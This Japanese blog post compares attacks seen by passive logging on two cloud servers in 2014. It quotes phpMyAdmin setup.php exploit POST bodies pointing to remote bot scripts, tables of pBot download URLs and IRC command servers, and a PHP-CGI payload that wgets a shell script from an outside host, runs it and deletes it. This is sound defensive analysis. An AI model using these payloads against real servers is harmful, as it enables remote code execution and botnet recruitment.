ニフティクラウドとさくらのVPSに来る悪い人を比べてみる

ニフティクラウドでサーバを数台、手配していたのですが、諸事情で3月末までに返却しないといけなくなってしまいました。

ということで返す前に、ニフティクラウドに攻撃している悪い人たちと、さくらのVPSに攻撃している悪い人たちとを比べるとどうなのか……をちょっと見てみます。前回の「ニフティクラウドに来る悪い人を観察する、の取っかかり」の続きです。

環境

2/1から3/21までの期間、データ取得をおこいました。用いたVM環境は、以下の表の通りです。

ニフティクラウド さくらのVPS
サーバの場所 西日本(WEST-1) 石狩
IPアドレス 175.184.19.124 153.120.5.227
OS CentOS 6.4 (64bit) CentOS 6.5 (64bit)
Apacheバージョン 2.2.15(標準RPM) 2.2.15(標準RPM)

なおApacheについては、mod_rewriteを用いて、多くの既知の攻撃アクセスを決め打ちでHTTPステータス[200 OK]を返すように設定しました(下図はその一部)。

<LocationMatch "^/(phpMyAdmin|myadmin)/scripts/setup.php">
  RewriteEngine on
  RewriteRule /phpMyAdmin/scripts/setup.php /phpMyAdmin/scripts/index.html [L]
</LocationMatch>

観察する攻撃対象

どの辺を比べようかなーと思っていたのですが、借りていたニフティクラウドでは明確なハニーポット行為は禁止ということだったので、KippoとかDionaeaは入れられませんでした。というわけでsshなどのアタックは取らず、単純にApacheアクセスログと、80/tcptcpdumpしておいたものをひっそり見ていただけです。

Webサーバへの攻撃をつらつら眺めていると、ちょうど借りていた2014年2月-3月にはphpMyAdminへの攻撃が継続して来ていたので、これを比べてみることにします。この日記でも何度か紹介した、以下のようなパスへのリクエストです。

xx.xx.xx.xx - - [19/Mar/2014:00:29:13 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748

phpMyAdmin攻撃アクセス数の比較

まず、日ごとの/phpMyAdmin/scripts/setup.phpへのPOSTリクエストの数をプロットします。グラフの縦軸がsetup.phpへのリクエスト数で、これは要するにApacheのログの行数です。

グラフは青線がニフティクラウド、赤線がさくらのVPSに来たリクエスト数です。

  • 図の通り、ニフティクラウドとさくらのVPSでは明確なピークの一致が見られました。特にアタックの多かった2/19付近(甲)は、両者ともに攻撃が増えています。
  • 2/26付近(乙)は、ニフティクラウドのみのアタックで、さくらのVPSへの攻撃は増えませんでした。
  • 3/4付近(丙)は、さくらのVPSに対してニフティクラウドは数日遅れてピークが来ました。

phpMyAdmin攻撃元IPアドレスの比較

今度は、/phpMyAdmin/scripts/setup.phpへのPOSTリクエストの、ユニークソースIPアドレス数を比べます。ニフティクラウドとさくらのVPSへの攻撃の際、一致したIPアドレス数を含めてプロットしたものが下図です。

図では、1日ごとに以下の値を出しています。

元々のアタック数がそんなに多いわけではないので、ざっくり見た感じの感想ですが、いちおー一致しているIPアドレスはちらほらありますね。というわけで「同一の悪い人」から来ている、とこれだけ見ても言えそうです。

phpMyAdmin攻撃POSTボディの比較

先ほど、「同一の悪い人」という表現をしました。しかし本来ならば、たとえ違うIPアドレスから攻撃されていようが、攻撃スクリプトの中身を解析していって最終的に同一のC&Cサーバへ誘導していれば、それは「同一の悪い人」の攻撃とみなすべきでしょう(もっとも、C&Cサーバも複数あるし、プロキシだけするC&Cサーバとかもあるので、話はそんなに単純じゃないけど)。

アクセス全期間についてこれを調べるのは大変なので、ある一日だけ抽出して探ってみることにしました。ここでは3/19のアクセスを見てみます。なお3/19を選んだのは、この作業を3/20におこなったためであり、深い意味はありません。

そんなに量が多いわけでもないので、ここでまず生ログを貼り付けておきましょう。なお抽出するのは、今までと同じく/phpMyAdmin/scripts/setup.phpへのPOSTリクエストです。

ニフティクラウドに来たもの
178.33.28.200 - - [19/Mar/2014:00:29:13 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.192 - - [19/Mar/2014:01:22:41 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.206 - - [19/Mar/2014:01:57:25 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
69.174.245.163 - - [19/Mar/2014:02:07:40 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
188.165.74.145 - - [19/Mar/2014:03:20:16 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.193 - - [19/Mar/2014:03:31:01 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.192 - - [19/Mar/2014:05:17:00 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.201 - - [19/Mar/2014:05:44:56 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.193 - - [19/Mar/2014:07:20:58 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.206 - - [19/Mar/2014:07:26:56 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.192 - - [19/Mar/2014:08:02:37 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
69.174.245.163 - - [19/Mar/2014:08:18:35 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.200 - - [19/Mar/2014:08:37:24 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
188.165.74.145 - - [19/Mar/2014:09:32:39 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.192 - - [19/Mar/2014:10:46:42 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.193 - - [19/Mar/2014:11:09:48 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.206 - - [19/Mar/2014:12:55:02 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.201 - - [19/Mar/2014:13:20:10 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
69.174.245.163 - - [19/Mar/2014:14:00:53 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.192 - - [19/Mar/2014:14:02:30 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.193 - - [19/Mar/2014:14:57:55 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
188.165.74.145 - - [19/Mar/2014:15:44:54 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.200 - - [19/Mar/2014:16:12:14 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.192 - - [19/Mar/2014:17:21:45 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.206 - - [19/Mar/2014:18:23:25 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.193 - - [19/Mar/2014:18:44:17 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
69.174.245.163 - - [19/Mar/2014:18:52:42 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.192 - - [19/Mar/2014:20:18:31 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.201 - - [19/Mar/2014:20:55:36 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
188.165.74.145 - - [19/Mar/2014:21:54:58 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.193 - - [19/Mar/2014:22:31:23 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.200 - - [19/Mar/2014:23:46:32 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.206 - - [19/Mar/2014:23:53:04 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
さくらのVPSに来たもの
188.165.74.145 - - [19/Mar/2014:03:05:53 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.199 - - [19/Mar/2014:03:31:11 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.199 - - [19/Mar/2014:09:05:51 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
188.165.74.145 - - [19/Mar/2014:09:18:21 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.199 - - [19/Mar/2014:14:47:43 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
188.165.74.145 - - [19/Mar/2014:15:30:43 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
178.33.28.199 - - [19/Mar/2014:20:29:08 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
188.165.74.145 - - [19/Mar/2014:21:40:53 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
POSTボディを比較する

ソースIPアドレスのうち、ニフティクラウドとさくらのVPSで一致するものは188.165.74.145 (AS16276: OVH SAS (フランス))の1つだけでした。

phpMyAdminの攻撃では、setup.php脆弱性を利用して任意の外部PHPスクリプトを実行しようとする手法が有名です。この場合にはPOSTボディでphpスクリプトのダウンロード先を指定しているはずですから、POSTボディの方も見てみましょう。

上図は、WiresharkでPOSTリクエストをダンプしたものです。分かりやすくPOSTボディ部を抜き出して、URLエンコードされているものをデコードして見やすく改行を入れたものが以下です。

action=lay_navigation&
eoltype=unix&
token=&
configuration=a:1:{
  i:0;O:10:"PMA_Config":1:{
    s:6:"source";s:33:"ftp://188.165.74.149/pub/bot1.php”;
  }
}

ここでPMA_Configに指定しているPHPスクリプトを実行しようとしているわけです。なお、この辺について詳しくは、以前に書いた記事「phpMyAdminを狙った攻撃観察」を参照ください。

さて3/19の攻撃では、同一のソースIPアドレスから何度もPOSTが来ています。しかしPOSTボディを確認したところ、全てのアクセスについて「ソースIPアドレスが同じならばPOSTボディも同じ」でした。というわけで、ソースIPアドレスごとにダウンロードファイルをまとめるだけで十分です。それが下表です。

なおダウンロードファイルは、誤操作防止のため先頭のURLスキーマ部を全角で書きました。

攻撃先サーバ 攻撃元IPアドレス ダウンロードファイル
ニフティクラウド 69.174.245.163 (AS13768: Peer1 Network(アメリカ)) ftp://xxxx:xxxx@84.246.227.121/httpdocs/bot
ニフティクラウド 178.33.28.192 (AS16276: OVH SAS(フランス)) ftp://188.165.74.149/pub/bot1.php
ニフティクラウド 178.33.28.193 (AS16276: OVH SAS(フランス)) ftp://188.165.74.149/pub/bot2.php
ニフティクラウド 178.33.28.200 (AS16276: OVH SAS(フランス)) ftp://37.59.68.4/pub/bot9.php
ニフティクラウド 178.33.28.201 (AS16276: OVH SAS(フランス)) ftp://37.59.68.4/pub/bot10.php
ニフティクラウド 178.33.28.206 (AS16276: OVH SAS(フランス)) ftp://178.33.28.211/pub/bot5.php
さくらのVPS 178.33.28.199 (AS16276: OVH SAS(フランス)) ftp://37.59.68.4/pub/bot8.php
さくら・ニフクラ両方 188.165.74.145 (AS16276: OVH SAS(フランス)) ftp://188.165.74.149/pub/bot12.php

さぁ、何となく「悪い人」の手口が見えてきました。どうやら悪い人(あるいは悪いグループ)は二人(あるいは2グループ)いて、ひとりはアメリカのPeer 1 Network、もうひとりはフランスのOVHを攻撃元の踏み台に利用しているようです。

なおひとつめのPeer1 Networkのダウンロードファイルですが、攻撃のPOSTボディ部にftpのIDとパスワードが思いっきり書いてあったため、ここでは「xxxx」と伏せています。

接続先C&Cサーバの比較

前節で、攻撃PHPスクリプトが分かったので、このスクリプトの中身を解析してみれば誘導先のC&Cサーバが分かるはずです。

まずOVHに置いてある方ですが、これはどれも同じPHPのボット、pBotと呼ばれるものでした。このスクリプトのコンフィグ部分を見れば、IRCで命令を発行するC&Cサーバの接続先があっさり分かります。

$cfg = array("server"=>"89.248.171.42", "port"=>"6667", "key"=>"*", "prefix"=>"Xtreme”, 
...(省略)...

という感じで、指定されている”server”を拾っていけばいいわけです。

またPeer1 Networkの方ですが、これはftpのID・パスワード付きのファイルなので、このパスワードを借用してアクセスすると不正アクセス禁止法に触れてしまいます。どうしたもんじゃいと思いましたが、これ、ファイルパスが「/httpdocs/bot」と明らかにアレっぽい感じですよね。予想通り、httpで/botを取得してみたところ、BASIC認証も何もかかっておらずにあっさりダウンロードすることができました。なかなかこう上手く行く事例は少ないです。ラッキー。このbotも、中身はpBotでした。

というわけで先ほどの攻撃元IPアドレス表に、今度は誘導先のC&Cサーバを記載しました。

攻撃先サーバ 攻撃元IPアドレス 誘導先C&Cサーバ
ニフティクラウド 69.174.245.163 (AS13768: Peer1 Network(アメリカ)) topsrv.us.to
ニフティクラウド 178.33.28.192 (AS16276: OVH SAS(フランス)) 89.248.171.42 (AS29073: Ecatel Network(オランダ))
ニフティクラウド 178.33.28.193 (AS16276: OVH SAS(フランス)) 94.102.63.134 (AS29073: Ecatel Network(オランダ))
ニフティクラウド 178.33.28.200 (AS16276: OVH SAS(フランス)) 89.248.171.43 (AS29073: Ecatel Network(オランダ))
ニフティクラウド 178.33.28.201 (AS16276: OVH SAS(フランス)) 89.248.171.44 (AS29073: Ecatel Network(オランダ))
ニフティクラウド 178.33.28.206 (AS16276: OVH SAS(フランス)) 80.82.64.68 (AS29073: Ecatel Network(オランダ))
さくらのVPS 178.33.28.199 (AS16276: OVH SAS(フランス)) 93.174.88.124 (AS29073: Ecatel Network(オランダ))
さくら・ニフクラ両方 188.165.74.145 (AS16276: OVH SAS(フランス)) 89.248.171.43 (AS29073: Ecatel Network(オランダ))

OVH組は、全てオランダのEcatel Networkを根城にしていたみたいです。C&Cサーバの接続先のIPアドレスが違ってはいるのですが、手口や誘導先などから見て、「ニフティクラウドとさくらのVPSに来ていた悪い人は同じだった!」と言って良いでしょう。

一方、Peer1 Networkの方はC&Cサーバの誘導先をFQDNで書いていました。3/20にこのホスト名でDNSを引いておくのを忘れたため、3/23の情報ですが以下の3つのIPアドレスが返ってきました。

$ dig topsrv.us.to
…(省略)…
;; ANSWER SECTION:
topsrv.us.to.          3212     IN     A     85.214.39.110
topsrv.us.to.          3212     IN     A     202.102.111.84
topsrv.us.to.          3212     IN     A     202.102.111.88
…(省略)...

これらのIPアドレスのASなどは下表の通り。

IPアドレス AS番号など
85.214.39.110 AS6724: Strato AG(ドイツ)
202.102.111.84 AS4134: CHINANET jiangsu province network(中国)
202.102.111.88 AS4134: CHINANET jiangsu province network(中国)

これはOVH組とは違うようですね。

おまけ:Apache Magica攻撃

今までphpMyAdmin攻撃を見てきましたが、3/21にApache Magica攻撃が来ていました。この攻撃については、以前に書いた記事を参照ください(http://d.hatena.ne.jp/ozuma/20140101/1388510302)。

ニフティクラウドに来ていたもの
46.137.126.195 - - [21/Mar/2014:10:18:17 +0900] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C(略)
さくらのVPSに来ていたもの
202.137.17.179 - - [20/Mar/2014:09:35:44 +0900] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C(略)
202.137.205.138 - - [20/Mar/2014:10:02:35 +0900] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C(略)
POSTボディ部

この攻撃は、POSTボディ部にPHPスクリプトを書いて投げつけると、そのPHPスクリプトがサーバ上でそのまま実行されてしまう……という、悪い人には恐ろしく便利な(?)アタックです。というわけで、POSTボディ部を見てみれば、攻撃者が何をしようとしていたかがすぐ分かります。
そこで、POSTボディをダンプしておいたのを見たところ……これら3つの攻撃は、3つともまったく同じ以下のようなリクエストボディでした。

<?php system("wget http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");

というわけで、この3つの攻撃は、「同一の悪い人」からの攻撃であると容易に断言できました。

まとめ

というわけで、なんとなく気がついた点をつらつら挙げておきます。なお、この記事に書かなかった、その他の情報も含んだ感じのメモです。

  • 攻撃者は、同一攻撃先であっても、コロコロと攻撃元のIPアドレスや攻撃ダウンロードファイルを変えるようだ。これは何かしらの意図があるのか、あるいは攻撃を「分業」しているからかもしれない。
  • ニフティクラウドとさくらのVPSで、攻撃手法に差は見られなかった。同じ悪い人が、同じ手法で悪いことをしようとしているからだろう。
    • ニフティクラウドに来たPeer1 Networkの人はたまたまだと思う
    • 攻撃手法に差が無いということは、アタックされた人たちは秘密にせずに互いに情報を交換しあった方が、互いに有利になれて幸せになれるかもしれません
  • 攻撃は、特定のホスティング業者を狙うパターンはあまり無く、広範囲のIPアドレスレンジに「絨毯爆撃」しているフシがある。つまり、「よそがやられればうちもやられる」ってこと。
    • もう、インターネット上の全てのIPアドレスにスキャン、とかしている人も結構いるので……
  • 広いIPアドレスレンジに攻撃しているためか、ニフティクラウドとさくらのVPSでの攻撃に、最大で数日の時間差が見られた。
    • 最初に攻撃された人が、「クラウド攻撃注意報」を上げるとみんなの役に立つかもしれない
    • こういう攻撃では、普通はIPアドレスが若い方から順にアタックするだろうから、IPアドレスが(数値的に)小さいクラウド業者ほど、ひょっとして「損」かもしれないなぁと思った
  • 昨今のクラウド流行りの陰では、このように踏み台やボットとなってしまった「野良サーバ」が山ほどある。

というわけで、あまりまとまっていませんが以上です。ニフティクラウドは今回でおしまい。